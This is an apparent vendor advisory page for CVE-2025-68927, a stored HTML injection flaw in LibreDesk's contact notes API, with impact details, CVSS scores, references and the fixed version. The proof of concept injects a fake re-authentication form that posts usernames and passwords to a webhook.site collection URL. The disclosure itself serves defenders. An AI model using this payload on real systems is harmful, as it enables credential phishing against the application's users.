Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2025-68927

Libredesk has Improper Neutralization of HTML Tags in a Web Page
Back to all
CVE

CVE-2025-68927

Libredesk has Improper Neutralization of HTML Tags in a Web Page

Summary

LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.

---

Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.

By intercepting the request to:

POST /api/v1/contacts/3/notes

and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

  • Arbitrary HTML tags (e.g., <form><input><img>) are stored
  • The injected HTML is rendered when the notes are viewed in the application
  • No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.

---

PoC

  1. Log in to LibreDesk and open any contact.
  2. Add a note normally via the UI.
  3. Intercept the request to:

   ```

   POST /api/v1/contacts/3/notes

   ```

  1. Original request body (example):

   ```json

   {

     "note": "<p>This is a normal note</p>"

   }

   ```

  1. Modify the payload by removing the <p> tag and injecting arbitrary HTML:

   ```json

   {

     "note": "<form action='https://webhook.site/xxxx' method='POST'>

                <input type='text' name='username' placeholder='Username'>

                <input type='password' name='password' placeholder='Password'>

                <input type='submit' value='Re-authenticate'>

              </form>"

   }

   ```

  1. Forward the request.
  2. View the contact note in the LibreDesk UI.

Result:

The injected HTML form is rendered inside the application.

---

Impact

This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

  • Credential phishing through injected forms
  • CSRF-style forced actions using HTML-only forms
  • UI redress and social engineering
  • Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
7.3
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/abhinavxd/libredesk/security/advisories/GHSA-wh6m-h6f4-rjf4, https://nvd.nist.gov/vuln/detail/CVE-2025-68927, https://github.com/abhinavxd/libredesk/commit/270347849943ac6a43e9fd6ebdc99c71841900eb, https://github.com/abhinavxd/libredesk

Severity

6.1

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
6.1
EPSS Probability
0.0003%
EPSS Percentile
0.08214%
Introduced Version
0
Fix Available
0.8.6-beta

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading